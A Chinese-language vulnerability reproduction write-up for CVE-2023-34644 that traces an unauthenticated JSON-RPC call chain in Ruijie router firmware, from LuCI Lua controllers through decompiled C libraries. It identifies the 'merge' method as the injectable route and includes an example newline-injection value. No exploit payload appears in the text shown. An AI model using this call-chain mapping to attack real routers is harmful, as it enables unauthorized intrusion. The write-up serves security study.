CVE-2023-34644复现

LuCI框架

就是用 Lua 写的 OpneWrt 路由器 Web 控制面板框架

使用 MVC 结构,分成三层:

作用
Model 调系统配置(UCI),负责数据
View 网页界面(HTML模板)
Controller 路由逻辑,处理请求

如何判断?看系统里有没有

1
/usr/lib/lua/luci/

如果有的话,基本就是了

Lua文件调用链分析

在 squashfs-root/usr/lib/lua/luci/controller/eweb/api.lua 文件下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
-- API集合
module("luci.controller.eweb.api", package.seeall)
function index()
local function authenticator(validator)
local http = require "luci.http"
local sid = http.formvalue("auth", true) or false

if sid then -- if authentication token was given
local sauth = require "luci.sauth"
sid = sid:match("^[a-f0-9]*$")
local sdat = sauth.read(sid)
if sdat then -- if given token is valid
if type(sdat) == "table" then -- and sdat.rip == http.getenv("REMOTE_ADDR") then
return sdat
end
end
end
local tool = require "luci.utils.tool"
local _ok, _auth = tool.doCheck()
if _ok and _auth then
return {sid = _auth, token = _auth}
end
-- 执行代理请求失败时,不退出主设备的
-- 场景:在AP列表代理配置AP去重启设备,重启完成后AP的session没了但是不要退出主设备的EWEB
if not string.match(http.getenv('HTTP_REFERER') or "", "^.+/snos_red_%d+\.%d+\.%d+\.%d+/.+") then
tool.logout()
end
http.status(403, "Forbidden Api")
http.write_json({code = 2, msg = "403 Forbidden, auth is not passed"})
end
local api = node("api")
api.sysauth = "admin"
api.sysauth_authenticator = authenticator
api.notemplate = true

entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false

entry({"api", "common"}, call("rpc_common"), nil)

entry({"api", "cmd"}, call("rpc_cmd"), nil)

entry({"api", "system"}, call("rpc_system"), nil)

entry({"api", "diagnose"}, call("rpc_diagnose"), nil)

entry({"api", "overview"}, call("rpc_overview"), nil)

entry({"api", "network"}, call("rpc_network"), nil)

entry({"api", "wireless"}, call("rpc_wireless"), nil)

entry({"api", "download"}, call("down_file"), nil)

entry({"api", "switch"}, call("rpc_switch"), nil)

entry({"api", "openvpn"}, call("openvpn"), nil)
end

这里首先定义了一个模块

1
module("luci.controller.eweb.api", package.seeall)

Lua 中模块的命名方式是用“点”表示层级,例如:

1
a.b.c     → 文件路径 a/b/c.lua

这个作用是,让 LuCI 知道

  • 这个文件属于 luci.controller.eweb.api 模块
  • 文件内部的 index() 是控制器入口
  • 这个文件要用于注册路由

就是告诉 LuCI:这是一个控制器模块
而 luci.controller.eweb.api ↔ /usr/lib/lua/luci/controller/eweb/api.lua

LuCI 会根据这个名字去对应的路径加载文件

然后执行 index() 配置路由

路由的意思就是:比如 entry({“api”, “switch”}, call(“rpc_switch”), nil),那么 url 路径为 /api/switch ,就会执行 rpc_switch

这里配置

1
entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false

这意味着当用户访问 /api/auth 路径时,将调用 rpc_auth,然后 sysauth 属性控制是否需要系统级的用户认证才可以访问该路由,这里 false 表示不需要,即无需认证即可访问 /api/auth

然后来看 rpc_auth

1
2
3
4
5
6
7
8
9
10
11
12
13
14
-- 认证模块
function rpc_auth()
local jsonrpc = require "luci.utils.jsonrpc" --JSON-RPC 协议处理器
local http = require "luci.http" --处理 HTTP 请求与响应
local ltn12 = require "luci.ltn12" --Lua 数据流处理库,用于数据管道
local _tbl = require "luci.modules.noauth" --允许 无需认证访问的 RPC 方法集合。到这里都是引入了一些模块
if tonumber(http.getenv("HTTP_CONTENT_LENGTH") or 0) > 1000 then --判断HTTP_CONTENT_LENGTH是否大于1000.如果不大于,就会将http响应类型设置为 v
http.prepare_content("text/plain")
-- http.write({code = "1", err = "too long data"})
return "too long data"
end
http.prepare_content("application/json")
ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
end

然后最后一句调用 handle,传入的是 luci.modules.noauth 文件返回的内容,类型为 table,包含 noauth 问及那定义的四个函数 login / singleLogin / merge / checkNet

http.source() 用于从 http 请求体中读取数据

ltn12.pump.all( 响应源, http.write ) ,把 handle 返回的响应源所产生的所有响应数据交给 http.write ,写出到 http 响应流, 直到响应源结束 这是把“处理后的结果”最终输出给客户端的操作。

然后看 luci.utils.jsonrpc 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
--[[
LuCI - Lua Configuration Interface

Copyright 2008 Steven Barth <steven@midlink.org>
Copyright 2008 Jo-Philipp Wich <xm@leipzig.freifunk.net>

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

$Id$
]] --

module("luci.utils.jsonrpc", package.seeall)
require "luci.json"
function resolve(mod, method)
local path = luci.util.split(method, ".")

for j = 1, #path - 1 do
if not type(mod) == "table" then
break
end
mod = rawget(mod, path[j])
if not mod then
break
end
end
mod = type(mod) == "table" and rawget(mod, path[#path]) or nil
if type(mod) == "function" then
return mod
end
end

function handle(tbl, rawsource, ...)
local decoder = luci.json.Decoder()
local stat, err = luci.ltn12.pump.all(rawsource, decoder:sink()) --把输入源的数据全部泵到解码器的接收器里
local json = decoder:get() --从 decoder 中获取完整的 json 解码结果
local response
local success = false

if stat then --判断是否解码成功
if type(json.method) == "string" then --要求必须有 method 字段并且是字符串
local method = resolve(tbl, json.method) --将 method 传给 resolve,
if method then
response = reply(json.jsonrpc, json.id, proxy(method, json.params or {}))
else
response = reply(json.jsonrpc, json.id, nil, {code = -32601, message = "Method not found."})
end
else
response = reply(json.jsonrpc, json.id, nil, {code = -32600, message = "Invalid request."})
end
else
response = reply("2.0", nil, nil, {code = -32700, message = "Parse error.", err = err})
end

return luci.json.Encoder(response, ...):source()
end

function reply(jsonrpc, id, res, err)
require "luci.json"
id = id or luci.json.null

-- 1.0 compatibility
if jsonrpc ~= "2.0" then
jsonrpc = nil
res = res or luci.json.null
err = err or luci.json.null
end
-- if type(res) == "string" then
-- res = luci.json.decode(res) or res
-- end
return {id = id, data = res, error = err, jsonrpc = jsonrpc, code = 0}
end

function proxy(method, ...)
local tool = require "luci.utils.tool"
local res = {luci.util.copcall(method, ...)}
local stat = table.remove(res, 1)
if not stat then
tool.debug("[" .. os.date() .. " -s]" .. "===== RPC ERROR LOG", {params = ...})
-- return nil, {code = -32602, data = "jsonrpc:81", params = ..., res = res}
return nil, {code = -32602, data = "jsonrpc:81", res = res}
else
if #res <= 1 then
return res[1] or luci.json.null
else
tool.debug("[" .. os.date() .. " -s]" .. "===== RPC ERROR LOG", {params = ...})
-- return {code = -32603, data = "jsonrpc:89", params = ..., res = res}
return {code = -32603, data = "jsonrpc:89", res = res}
end
end
end

这四个函数的作用分别是

  • resolve:找出 method 对应的 lua 函数
  • handle:RPC 主流程(读 json->找函数->执行->回包)
  • reply:生成符合 JSON-RPC 的响应
  • proxy:安全执行目标函数

解释一些名词

  • RPC:远程过程调用,把”网络请求”变为”函数调用”
    • 极简工作流程:
1
客户端 -> 发送 json 请求 -> 服务器(路由器)执行对应的函数(merge/login 等) -> 返回 json 格式的结果 -> 客户端
  • JSON: (JavaScript Object Notation) 最常用的数据交换格式,看起来像是
1
2
3
4
5
{
"method": "merge",
"params": [1, 2, 3],
"id": 10
}
  • 开关机动画,AI API、前后台通信、配置文件全部用的都是 JSON
    • 特点
      • 人类可读
      • 语言无关
      • 结构清晰
      • 网络友好

下面看上面调用的 handle 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function handle(tbl, rawsource, ...)
local decoder = luci.json.Decoder()
local stat, err = luci.ltn12.pump.all(rawsource, decoder:sink()) --把输入源的数据全部泵到解码器的接收器里
local json = decoder:get() --从 decoder 中获取完整的 json 解码结果
local response
local success = false

if stat then --判断是否解码成功
if type(json.method) == "string" then --要求必须有 method 字段并且是字符串
local method = resolve(tbl, json.method) --将 json.method 传给 resolve,解析出返回给 method
if method then --如果 method 存在
response = reply(json.jsonrpc, json.id, proxy(method, json.params or {})) --使用 proxy 的函数调用方法
else
response = reply(json.jsonrpc, json.id, nil, {code = -32601, message = "Method not found."})
end
else
response = reply(json.jsonrpc, json.id, nil, {code = -32600, message = "Invalid request."})
end
else
response = reply("2.0", nil, nil, {code = -32700, message = "Parse error.", err = err})
end

return luci.json.Encoder(response, ...):source()
end

主要作用就是把参数 tbl 和 报文中 method 字段传给 resolve 函数

下面看 resolve 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function resolve(mod, method)
local path = luci.util.split(method, ".")

for j = 1, #path - 1 do
if not type(mod) == "table" then
break
end
mod = rawget(mod, path[j])
if not mod then
break
end
end
mod = type(mod) == "table" and rawget(mod, path[#path]) or nil
if type(mod) == "function" then
return mod
end
end

主要作用就是解析 method 字段对应的函数,然后赋值给 mod ,返回值给 method ,然后回到 handle 函数中,进入 proxy(method, json.params or {}) 第一个参数就是我们上面 resolve 解析出的 method ,第二个时 json.params 字段,如果不存在就传入 {}(空表)

method 中的函数在 noauth.lua 之中,接下来就来看 noauth.lua

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
module("luci.modules.noauth", package.seeall)

-- 登录
function login(params)
local disp = require("luci.dispatcher")
local common = require("luci.modules.common")
local tool = require("luci.utils.tool")
if params.password and tool.includeXxs(params.password) then
tool.eweblog("INVALID DATA", "LOGIN FAILED")
return
end
local authOk
local ua = os.getenv("HTTP_USER_AGENT") or "unknown brower (ua is nil)"
tool.eweblog(ua, "LOGIN UA")
local checkStat = {
password = params.password,
username = "admin", -- params.username,
encry = params.encry,
limit = params.limit
}
local authres, reason = tool.checkPasswd(checkStat)
local log_opt = {username = params.username, level = "auth.notice"}
if authres then
authOk = disp.writeSid("admin")
-- 手动登录时设置时间
if params.time and tonumber(params.time) then
common.setSysTime({time = params.time})
end
log_opt.action = "login-success"
else
log_opt.action = "login-fail"
end
tool.write_log(log_opt)
return authOk
end

-- 单点登录
function singleLogin()
local sauth = luci.sauth
local fs = require "nixio.fs"
local config = require("luci.config")
config.sauth = config.sauth or {}
local sessionpath = config.sauth.sessionpath
if sauth.sane() then
local id
for id in fs.dir(sessionpath) do
sauth.kill(id)
end
end
end

-- 网络合并
function merge(params)
local cmd = require "luci.modules.cmd"
return cmd.devSta.set({device = "pc", module = "networkId_merge", data = params, async = true})
end

-- ping checknet
function checkNet(params)
if params.host then
local tool = require("luci.utils.tool")
if string.len(params.host) > 50 or not tool.checkIp(params.host) then
return {connect = false, msg = "host illegal"}
end
local json = require "luci.json"
local _curl =
'curl -s -k -X POST \'http://%s/cgi-bin/luci/api/auth\' -H content-type:application/json -d \'{"method":"checkNet"}\'' %
params.host
local _data = json.decode(luci.sys.exec(_curl))
if type(_data) == "table" then
if type(_data.data) == "table" then
return _data.data
end
return {connect = false}
else
return {connect = false}
end
else
return {connect = true}
end
end

其中,singleLogin 中没有 params ,没可控参数,不用看;checkNet 有 params.host ,并且拼入命令执行字符串,不过前面有 tool.checkIp(params.host) 负责检查,无法绕过;然后就是 login,看起来有许多可控字段:params.password,pawams.encry,params.limit 等,但实际上全部被过滤或者替换掉了。看处理 checkStat 的 tool.checkPasswd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-- 检测密码是否正确
function checkPasswd(checkStat)
local cmd = require("luci.modules.cmd")
local _data = {
type = checkStat.encry and "enc" or "noenc", --这个的意思是,如果 checkStat.encry为真,那么 type="enc",为假type="noenc"
password = checkStat.password,
name = checkStat.username,
limit = checkStat.limit and "true" or nil
}
local _check = cmd.devSta.get({module = "adminCheck", device = "pc", data = _data})
if type(_check) == "table" and _check.result == "success" then
return true
end
return false, _check.reason
end

这里导致 encry 和 limit 变成固定值,不可控了,只剩下 password

然后这里调用了

1
local _check = cmd.devSta.get({module = "adminCheck", device = "pc", data = _data})

就是调用 cmf 的 devSta 中的 get,下面看 devSta.get

1
2
3
4
5
6
7
devSta[opt[i]] = function(params)
local model = require "dev_sta"
params.method = opt[i]
params.cfg_cmd = "dev_sta"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end

首先调用 doParams 对参数处理,接着调用 fetch,先看 doParams

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
local function doParams(params)
require "luci.json"
-- web接口调用全部去掉时间,强制force设置下去
if type(params.data) == "table" then
params.data.currentTime = nil
params.data.configTime = nil
params.data.configId = nil
end
local tool = require "luci.utils.tool"
if tool.includeXxs(params.module) or tool.includeXxs(params.method) then
params.module = "illegalMoule"
params.method = "illegalMethod"
end
if (not params.module or not params.method) then
return "please input module"
else
local data, back, ip, password = nil, nil, nil, nil

local _shell = params.cfg_cmd .. " " .. params.method .. " --module '" .. params.module .. "'"
-- 远程代理调用
if params.remoteIp then
_shell = _shell .. " -i '" .. params.remoteIp .. "'"
ip = params.remoteIp
end
if params.remotePwd and not (params.cur) then
_shell = _shell .. " -p '" .. params.remotePwd .. "'"
password = params.remotePwd
end
if params.data then
data = luci.json.encode(params.data)
_shell = _shell .. " '" .. data .. "'"
end
if params.async == true or params.async == "true" then
back = 0
_shell = _shell .. " -b 0 "
elseif params.async == false or params.async == "false" then
back = 1
_shell = _shell .. " -b 1 "
end
return data, back, ip, password, _shell
end
end

这里对我们存放在 params.data 里的 password 进行了一些处理

1
data = luci.json.encode(params.data)

接下来是处理的函数

1
2
3
4
5
6
7
8
9
10
function encode(obj, ...)
local out = {}
local e = Encoder(obj, 1, ...):source()
local chnk, err
repeat
chnk, err = e()
out[#out+1] = chnk
until not chnk
return not err and table.concat(out) or nil
end

这个函数就是对传入的字符串进行 json 编码,会把 \n 字符 编码为 \u00a ,漏洞被补上,所以只剩下 merge

\n 可能导致:

  • 注入额外参数,例如 attacker\nrole=admin ,服务端会读取两行
1
2
username=attacker
role=admin

从而伪造新参数

下面分析 merge

1
2
3
4
5
-- 网络合并
function merge(params)
local cmd = require "luci.modules.cmd"
return cmd.devSta.set({device = "pc", module = "networkId_merge", data = params, async = true})
end

可以看到没有对 params 处理,调用了 devSta.set,接下来看这个的代码

1
2
3
4
5
6
7
devSta[opt[i]] = function(params)
local model = require "dev_sta"
params.method = opt[i]
params.cfg_cmd = "dev_sta"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end

data 字段可控(params里的内容)

这里最后调用了 fetch ,下面就来看这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
local function fetch(fn, shell, params, ...)
require "luci.json"
local tool = require "luci.utils.tool"
local _start = os.time()
local _res = fn(...)
tool.eweblog(shell, params.device, os.time() - _start)
if params.method ~= "get" then
tool.write_log({action = shell})
end
if _res.code == 0 then
_res = _res.data or ""
if params.noParse then
return _res
end
return _res and luci.json.decode(_res) or (_res or "")
end
return _res
end

这里调用 local _res = fn(...) 就是 fetch 函数传进来的 model.fetch,而 model 是 dev_sta 的返回结果(devSta[get]中有说明),所以这里调用的实际是 dev_sta 中的 fetch 函数,接下来看这个函数的代码(路径为 /usr/lib/lua/dev_sta.lua)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
--主函数
function fetch(cmd, module, param, back, ip, password, force, not_change_configId, multi)
local uf_call = require "libuflua"
local ctype

ctype = get_ctype()
param = param or ""
ip = ip or ""
password = password or ""
if force and force == "1" then
force = true
else
force = false
end

if back and back == "1" then
back = true
else
back = false
end

if not_change_configId then
not_change_configId = true
else
not_change_configId = false
end

if multi then
multi = true
else
multi = false
end

local stat = uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)
return stat
end

可以看到调用了 libuflua.so(Lua扩展库) 中的 client_call 函数,路径是 usr/lib/lua/libuflua.so 下,下面进行分析,用 IDA 打开,没搜索到 client_call 看学习文章说 IDA 大概率没有把 client_call 解析成字符串,而是解析成代码,这里用 010editor 打开,搜索 client_call

发现在 0xff0 处,返回 IDA

发现确实被当成了代码来解析,选中这部分数据,按 a ,即可以字符串形式呈现

寻找交叉调用(哪儿被调用)

1
2
3
4
5
int __fastcall luaopen_libuflua(int a1)
{
luaL_register(a1, "libuflua", &off_1101C);
return 1;
}

该函数原型为

1
void luaL_register (lua_State *L, const char *libname, const luaL_Reg *l);

三个参数:

  • L:Lua 虚拟机的状态机指针,一个结构体,里面包含整个 Lua 环境的所有运行信息,就是当前 Lua 解释器的上下文
  • libname:给 Lua 模块快起的名字
  • l:函数映射表,里面包括 Lua 函数名+对应的 C 函数指针

所以现在查看 off_1101C 里的内容

得出结论,sub_A00 中就是 client_call 中的代码,下面来分析这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
int __fastcall sub_A00(int a1)
{
int v2; // $v0
int v3; // $s1
int v4; // $s3
int v5; // $s2
int v6; // $v0
int v7; // $v1
int v8; // $s3
int v9; // $a1
int v10; // $a0
int v11; // $a1
int v13[3]; // [sp+18h] [-Ch] BYREF

v13[0] = 0;
v2 = malloc(52);
v3 = v2;
if ( v2 )
{
memset(v2, 0, 52);
v5 = 4;
*(_DWORD *)v3 = luaL_checkinteger(a1, 1);
*(_DWORD *)(v3 + 4) = luaL_checklstring(a1, 2, 0);
v6 = luaL_checklstring(a1, 3, 0);
v7 = *(_DWORD *)v3;
*(_DWORD *)(v3 + 8) = v6;
if ( v7 != 3 )
{
*(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0);
*(_BYTE *)(v3 + 41) = lua_toboolean(a1, 5) == 1;
v5 = 6;
*(_BYTE *)(v3 + 40) = 1;
}
*(_DWORD *)(v3 + 20) = lua_tolstring(a1, v5, 0);
*(_DWORD *)(v3 + 24) = lua_tolstring(a1, v5 + 1, 0);
v8 = v5 + 2;
if ( *(_DWORD *)v3 )
{
if ( *(_DWORD *)v3 == 2 )
{
v8 = v5 + 3;
*(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1;
}
}
else
{
*(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1;
v8 = v5 + 4;
*(_BYTE *)(v3 + 44) = lua_toboolean(a1, v5 + 3) == 1;
}
*(_BYTE *)(v3 + 48) = lua_toboolean(a1, v8) == 1;
v4 = uf_client_call(v3, v13, 0);
}
else
{
v13[0] = strdup("memory full!");
v4 = -1;
}
lua_createtable(a1, 0, 0);
lua_pushstring(a1, "code");
if ( v4 )
{
lua_pushnumber(a1, v9, loc_1000, loc_1004);
lua_rawset(a1, -3);
lua_pushstring(a1, "err");
lua_pushstring(a1, v13[0]);
lua_rawset(a1, -3);
lua_pushstring(a1, "data");
v10 = a1;
v11 = 0;
}
else
{
lua_pushnumber(a1, v9, 0, 0);
lua_rawset(a1, -3);
lua_pushstring(a1, "err");
lua_pushstring(a1, 0);
lua_rawset(a1, -3);
lua_pushstring(a1, "data");
v11 = v13[0];
v10 = a1;
}
lua_pushstring(v10, v11);
lua_rawset(a1, -3);
if ( v13[0] )
free();
return 1;
}

可以看到在 52 行调用了 uf_client_call,在文件系统下搜索该字符串

1
2
3
4
5
6
yy@yy-virtual-machine:~/桌面/CVE-2023-34644/_EW_3.0.1.B11P204_EW1200GI_09243000_install.bin.extrted/squashfs-root$ grep -r "uf_client_call" ./
匹配到二进制文件 ./usr/lib/lua/libuflua.so
匹配到二进制文件 ./usr/lib/libunifyframe.so
匹配到二进制文件 ./usr/sbin/uf_sys
匹配到二进制文件 ./usr/sbin/uf_ubus_call.elf
匹配到二进制文件 ./usr/sbin/unifyframe-sgi.elf

匹配到以下库,再回到 libuflua.so 中看到

所以可以判断出 uf_client_call 函数在 ./usr/lib/libunifyframe.so 之中,用 IDA 打开查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
int __fastcall uf_client_call(int a1, int a2, int a3)
{
.....
switch ( *(_DWORD *)a1 )//这里 *a1 指的是 uf_call.client_call 函数的第一个参数 ctype,取决于 method,在 dev_sta.lua 中赋值为 2
{
.....
case 2:
v7 = ((int (*)(void))strlen)() + 8;
v8 = calloc(v7, 1);
v9 = 433;
if ( !v8 )
goto LABEL_20;
v10 = v8;
v11 = v7;
v12 = "devSta.%s";
goto LABEL_22;
case 3:
v15 = ((int (*)(void))strlen)() + 8;
v8 = calloc(v15, 1);
v9 = 463;
if ( !v8 )
goto LABEL_20;
v10 = v8;
v11 = v15;
v12 = "devCap.%s";
goto LABEL_22;
case 4:
v16 = ((int (*)(void))strlen)() + 7;
v17 = calloc(v16, 1);
v8 = v17;
if ( !v17 )
{
v9 = 473;
LABEL_20:
uf_log_printf(uf_log, "ERROR (%s %s %d)malloc failed!", "lib_unifyframe.c", "uf_client_call", v9);
goto LABEL_24;
}
v10 = v17;
v11 = v16;
v12 = "ufSys.%s";
LABEL_22://这里下面用大量 json_object_object_add 函数
if ( snprintf(v10, v11, v12, v6) < 0 )
{
free(v8);
LABEL_24:
json_object_put(v4);
syslog(3, "(%s %s %d)method snprintf failed", "lib_unifyframe.c", "uf_client_call");
return -1;
}
v18 = json_object_new_string(v8);
free(v8);
if ( !v18 )
{
json_object_put(v4);
syslog(3, "(%s %s %d)new obj_method failed", "lib_unifyframe.c", "uf_client_call");
return -1;
}
json_object_object_add(v4, "method", v18);
v19 = json_object_new_object();
if ( !v19 )
{
json_object_put(v4);
syslog(3, "(%s %s %d)new obj_param failed", "lib_unifyframe.c", "uf_client_call");
return -1;
}
v20 = json_object_new_string(*(_DWORD *)(a1 + 8));
if ( !v20 )
{
json_object_put(v19);
json_object_put(v4);
syslog(3, "(%s %s %d)new obj_module failed", "lib_unifyframe.c", "uf_client_call");
return -1;
}
json_object_object_add(v19, "module", v20);
v21 = *(_DWORD *)(a1 + 20);
if ( !v21 )
goto LABEL_34;
v22 = json_object_new_string(v21);
if ( !v22 )
goto LABEL_40;
json_object_object_add(v19, "remoteIp", v22);
LABEL_34:
v23 = *(_DWORD *)(a1 + 24);
if ( v23 )
{
v24 = json_object_new_string(v23);
if ( !v24 )
{
json_object_put(v19);
json_object_put(v4);
syslog(3, "(%s %s %d)new obj_passwd failed", "lib_unifyframe.c", "uf_client_call");
return -1;
}
json_object_object_add(v19, "remotePwd", v24);
}
if ( *(_DWORD *)(a1 + 36) )
{
v25 = json_object_new_int();
if ( !v25 )
{
LABEL_40:
json_object_put(v19);
json_object_put(v4);
syslog(3, "(%s %s %d)new obj_remoteip failed", "lib_unifyframe.c", "uf_client_call");
return -1;
}
json_object_object_add(v19, "buf", v25);
}
if ( *(_DWORD *)a1 )
{
if ( *(_DWORD *)a1 != 2 )
{
v26 = *(unsigned __int8 *)(a1 + 45);
goto LABEL_56;
}
if ( *(_BYTE *)(a1 + 42) )
{
v28 = json_object_new_boolean(1);
if ( v28 )
{
v29 = v19;
v30 = "execute";
goto LABEL_54;
}
}
}
else
{
if ( *(_BYTE *)(a1 + 43) )
{
v27 = json_object_new_boolean(1);
if ( v27 )
json_object_object_add(v19, "force", v27);
}
if ( *(_BYTE *)(a1 + 44) )
{
v28 = json_object_new_boolean(1);
if ( v28 )
{
v29 = v19;
v30 = "configId_not_change";
LABEL_54:
json_object_object_add(v29, v30, v28);
}
}
}
v26 = *(unsigned __int8 *)(a1 + 45);
LABEL_56:
if ( v26 )
{
v31 = json_object_new_boolean(1);
if ( v31 )
json_object_object_add(v19, "from_url", v31);
}
if ( *(_BYTE *)(a1 + 47) )
{
v32 = json_object_new_boolean(1);
if ( v32 )
json_object_object_add(v19, "from_file", v32);
}
if ( *(_BYTE *)(a1 + 48) )
{
v33 = json_object_new_boolean(1);
if ( v33 )
json_object_object_add(v19, "multi", v33);
}
if ( *(_BYTE *)(a1 + 46) )
{
v34 = json_object_new_boolean(1);
if ( v34 )
json_object_object_add(v19, "not_commit", v34);
}
if ( *(_BYTE *)(a1 + 40) )
{
v35 = json_object_new_boolean(*(unsigned __int8 *)(a1 + 41) ^ 1);
if ( v35 )
json_object_object_add(v19, "async", v35);
}
v36 = *(_BYTE **)(a1 + 12);
if ( !v36 || !*v36 )
goto LABEL_75;
v37 = json_object_new_string(v36);
if ( !v37 )
goto LABEL_78;
json_object_object_add(v19, "data", v37);
LABEL_75:
v38 = *(_BYTE **)(a1 + 16);
if ( v38 && *v38 )
{
v39 = json_object_new_string(v38);
if ( !v39 )
{
LABEL_78:
json_object_put(v19);
json_object_put(v4);
syslog(3, "(%s %s %d)new obj_data failed", "lib_unifyframe.c", "uf_client_call");
return -1;
}
json_object_object_add(v19, "device", v39);
}
json_object_object_add(v4, "params", v19);
v40 = json_object_to_json_string(v4);//转换为 json 格式的字符串
if ( !v40 )
{
json_object_put(v4);
syslog(3, "(%s %s %d)new json_object_to_json_string send buf failed", "lib_unifyframe.c", "uf_client_call");
return -1;
}
v41 = uf_socket_client_init(0);
if ( v41 <= 0 )
{
json_object_put(v4);
v42 = *(const char **)(a1 + 12);
v43 = *(const char **)(a1 + 4);
v44 = *(const char **)(a1 + 8);
v45 = *(_DWORD *)(a1 + 16);
if ( v42 )
{
if ( v45 )
{
syslog(
3,
"(%s %s %d)uf_socket_client_init failed, caller: %s [ctype:%d %s -m %s %s]",
"lib_unifyframe.c",
"uf_client_call",
651,
*(const char **)(a1 + 16),
*(_DWORD *)a1,
v43,
v44,
v42);
return -1;
}
syslog(
3,
"(%s %s %d)uf_socket_client_init failed, [ctype:%d %s -m %s %s]",
"lib_unifyframe.c",
"uf_client_call");
}
else
{
if ( !v45 )
{
syslog(
3,
"(%s %s %d)uf_socket_client_init failed, [ctype:%d %s -m %s]",
"lib_unifyframe.c",
"uf_client_call",
662,
*(_DWORD *)a1,
v43,
v44);
return -1;
}
syslog(
3,
"(%s %s %d)uf_socket_client_init failed, caller: %s [ctype:%d %s -m %s]",
"lib_unifyframe.c",
"uf_client_call");
}
return -1;
}
v46 = strlen(v40);
uf_socket_msg_write(v41, v40, v46); //最终调用 uf_socket_msg_write
json_object_put(v4);
if ( *(_BYTE *)(a1 + 40) && *(_BYTE *)(a1 + 41) )
{
uf_socket_close(v41);
return 0;
}
v56 = 1 << (v41 & 0x1F);
v47 = &v53[4 * ((unsigned int)v41 >> 5)];
v48 = 0;
break;
default:
goto LABEL_24;
}
while ( 1 )
{
v50 = 4 * v48;
if ( v48 < 0x20 )
goto LABEL_98;
*(_DWORD *)v47 |= v56;
v51 = select(v41 + 1, v53, 0, 0);
if ( !v51 )
{
uf_socket_close(v41);
syslog(3, "(%s %s %d)select timeout[%s]", "lib_unifyframe.c", "uf_client_call");
return -1;
}
if ( v51 >= 0 )
break;
v49 = (_DWORD *)_errno_location();
if ( (*v49 & 0xFFFFFFF7) != 4 )
{
uf_socket_close(v41);
strerror(*v49);
syslog(3, "(%s %s %d)select error %s", "lib_unifyframe.c", "uf_client_call");
return -1;
}
syslog(3, "(%s %s %d)socket EINTR or ENOMEM [%d]", "lib_unifyframe.c", "uf_client_call", 691, *v49);
v48 = 0;
v50 = 0;
LABEL_98:
*(_DWORD *)&v53[v50] = 0;
++v48;
}
if ( ((*(int *)v47 >> (v41 & 0x1F)) & 1) != 0 )
{
v52 = uf_socket_msg_read(v41, a2);
uf_socket_close(v41);
if ( v52 >= 1 )
return 0;
return v52;
}
else
{
syslog(3, "(%s %s %d)FD_ISSET failed[%s]", "lib_unifyframe.c", "uf_client_call", 710, *(const char **)(a1 + 8));
uf_socket_close(v41);
return -1;
}
}

json_object_object_add 是一个 json-c 库里的函数,用来向 json 对象中添加键值,比如

1
2
3
4
5
6
7
json_object_object_add(obj, "name", json_object_new_string("admin"));
